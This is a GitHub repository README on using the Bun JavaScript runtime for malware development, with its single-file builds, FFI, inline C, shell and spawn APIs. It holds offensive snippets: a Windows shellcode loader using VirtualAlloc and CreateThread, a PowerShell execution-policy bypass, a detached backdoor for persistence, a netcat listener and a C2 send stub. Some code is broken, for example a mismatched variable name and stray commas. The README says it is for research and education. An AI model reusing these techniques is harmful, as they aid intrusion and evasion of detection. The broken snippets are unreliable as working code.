Skip to content

dbx0/bun-for-malware

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

2 Commits
 
 
 
 

Repository files navigation

Bun for Malware

This repository stores some examples of the usage of the Bun language for Malware Development

Interesting Bun Features for Malware

Single File Executable

Official docs

Bun allows you to compile TypeScript code into single file executables that runs on any platform, with no extra requirements. Build it and ship it.

Cross-compile to other platforms

The --target flag lets you compile your standalone executable for a different operating system, architecture, or version of Bun than the machine you’re running bun build on.

Example on how to compile for Windows

$ bun build --compile --target=bun-windows-x64 malware.ts --outfile malware.exe

Supported targets

Parameter Operating System Architecture
bun-linux-x64 Linux x64
bun-linux-arm64 Linux arm64
bun-windows-x64 Windows x64
bun-windows-x64 Windows arm64
bun-darwin-x64 macOS x64
bun-darwin-arm64 macOS arm64
bun-linux-x64-musl Linux x64
bun-linux-arm64-musl Linux arm64

FFI

Official docs

Bun's FFI (Foreign Function Interface) module allows you to efficiently call native libraries from JavaScript. It works with any language that supports the C ABI (Zig, Rust, C/C++, C#, Nim, Kotlin, etc.), enabling direct interaction with system libraries and native code.

Features

Direct System Calls: Call native system functions directly without going through Node.js APIs, making detection more difficult and enabling lower-level system access.

Memory Manipulation: Work with raw pointers and memory buffers, allowing for direct memory reads/writes, process injection, and shellcode execution.

Native Library Access: Load and call functions from system libraries (Windows API, POSIX functions, etc.) to perform operations like:

  • Process creation and manipulation
  • File system operations
  • Network operations
  • Registry/configuration access
  • Anti-debugging techniques

Sample

Here is a snippet of code that loads shellcode into memory:

import { dlopen, FFIType } from "bun:ffi";

const lib = dlopen(`kernel32.dll`, {
  VirtualAlloc: {
    args: [FFIType.ptr, FFIType.u32, FFIType.u32, FFIType.u32],
    returns: FFIType.ptr,
  }
  CreateThread: {
    args: [FFIType.ptr, FFIType.u32, FFIType.ptr, FFIType.ptr, FFIType.u32, FFIType.ptr],
    returns: FFIType.ptr,
  },,
});

const shellcode = new Uint8Array([...]);

const address = kernel32.symbols.VirtualAlloc(null, shellcode.length, 0x3000, 0x40);

const buf = toBuffer(address, 0, shellcode.length);
buf.set(shellcode);

const threadHandle = kernel32.symbols.CreateThread(null, 0, address, null, 0, null);

C compiler

Official docs

Bun's built-in C compiler allows you to compile and run C code directly from JavaScript with low overhead. It uses TinyCC to compile C code on-the-fly and link it with the JavaScript runtime, efficiently converting types in-place.

Features

No External Build Tools: Compile C code directly from JavaScript without requiring external compilers, build systems, or separate compilation steps. This reduces the attack surface and makes the malware more self-contained.

Inline Native Code: Embed C code directly in your TypeScript/JavaScript project, allowing you to write performance-critical or low-level operations without maintaining separate native modules.

N-API Support: Use Node-API (napi_value, napi_env) to pass complex JavaScript objects, arrays, and strings between C and JavaScript, enabling sophisticated data manipulation and callback mechanisms.

Low Overhead: TinyCC compiles quickly with minimal overhead, making it practical to compile C code at runtime or during the build process.

System-Level Operations: Write C code that performs direct system calls, memory manipulation, and hardware-level operations that would be difficult or impossible in pure JavaScript.

Obfuscation: Embedding C code within JavaScript makes reverse engineering more challenging, as analysts need to understand both the JavaScript runtime and the compiled C code.

Sample

import { cc } from "bun:ffi";
import source from "./malware.c" with { type: "file" };

const { symbols } = cc({
  source,
  symbols: {
    executePayload: {
      args: ["napi_env", "napi_value"],
      returns: "napi_value",
    },
  },
});

const result = executePayload(/* JavaScript object */);

Corresponding C code:

#include <node/node_api.h>

napi_value executePayload(napi_env env, napi_value payload) {
  // Process payload and return result
  napi_value result;
  napi_create_string_utf8(env, "Executed", NAPI_AUTO_LENGTH, &result);
  return result;
}

Shell

Official docs

Bun Shell is a cross-platform bash-like shell that runs shell commands directly from JavaScript/TypeScript. It's implemented in Zig and runs in the same Bun process, providing seamless JavaScript interop with shell commands.

Features

Cross-Platform Execution: Works on Windows, Linux, and macOS without requiring external dependencies like rimraf or cross-env. Common shell commands (ls, cd, rm, echo, etc.) are implemented natively.

Redirection & Piping: Full support for bash-like redirection (<, >, >>, 2>, &>) and piping (|), allowing complex command chaining and data manipulation.

Glob Patterns: Native support for glob patterns including **, *, and brace expansion ({a,b,c}), useful for file operations and batch processing.

Sample

Execute command and capture output:

import { $ } from "bun";

const output = await $`whoami`.text();
console.log(output); // Current user

Chain commands with pipes:

const processes = await $`ps aux | grep ${processName}`.text();

Redirect output to file:

await $`echo ${payload} > ${tempFile}`;

Use JavaScript objects as input/output:

const data = new Uint8Array([0x48, 0x65, 0x6c, 0x6c, 0x6f]);
await $`cat < ${data} | base64 > ${outputFile}`;

Environment variable manipulation:

await $`export SECRET=${apiKey} && ./malware.sh`.env({ ...process.env, SECRET: apiKey });

Cross-platform file operations:

await $`rm -rf ${tempDir}`;

Spawn

Official docs

Bun's spawn API allows you to create and manage child processes with fine-grained control over process execution, I/O streams, and inter-process communication (IPC).

Features

Process Control: Spawn child processes with full control over command arguments, working directory, environment variables, and process options.

Stream Management: Direct access to stdin, stdout, and stderr streams, allowing real-time data processing and bidirectional communication with child processes.

Inter-Process Communication (IPC): Establish IPC channels between parent and child processes for exchanging messages, enabling complex multi-process malware architectures.

Resource Management: Monitor process status, exit codes, and resource usage. Set timeouts, buffer sizes, and handle process lifecycle events.

Detached Processes: Launch processes that continue running after the parent process exits, useful for persistence mechanisms.

Signal Handling: Send signals to child processes (SIGTERM, SIGKILL, etc.) for process control and cleanup.

Sample

Basic process spawning and output capture:

import { spawn } from "bun";

const proc = spawn(["powershell.exe", "-ExecutionPolicy", "Bypass", "-File", scriptPath]);

const output = await proc.stdout.text();
const errors = await proc.stderr.text();

Spawn with IPC for bidirectional communication:

const child = spawn(["bun", "payload.js"], {
  ipc(message) {
    // Handle messages from child process
    if (message.type === "data") {
      await sendToC2(message.payload);
    }
  },
  cwd: "/tmp",
  env: { ...process.env, HIDDEN_VAR: "value" },
});

// Send data to child process
child.send({ command: "execute", payload: encryptedData });

Spawn detached process for persistence:

const persistent = spawn(["bun", "backdoor.js"], {
  detached: true,
  stdio: ["ignore", "ignore", "ignore"],
});

persistent.unref(); // Allow parent to exit

Spawn with custom I/O streams:

const proc2 = spawn(["nc", "-l", "-p", "4444"], {
  stdin: "pipe",
  stdout: "pipe",
  stderr: "pipe",
});

// Write to process stdin
proc2.stdin.write(JSON.stringify(command));
proc2.stdin.end();

// Read from process stdout
for await (const chunk of proc2.stdout) {
  await processResponse(chunk);
}

Disclaimer

This project is provided for educational and research purposes only. The code and techniques demonstrated in this repository are intended to promote the understanding of malware analysis, reverse engineering, and cybersecurity defense. Do not use these examples for unauthorized or illegal activities.

Running or distributing malware is illegal and unethical unless performed in a controlled environment explicitly for learning or authorized security research.
The authors are not responsible for any misuse of this material or any damages caused. Use responsibly and always comply with all applicable laws and regulations.

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors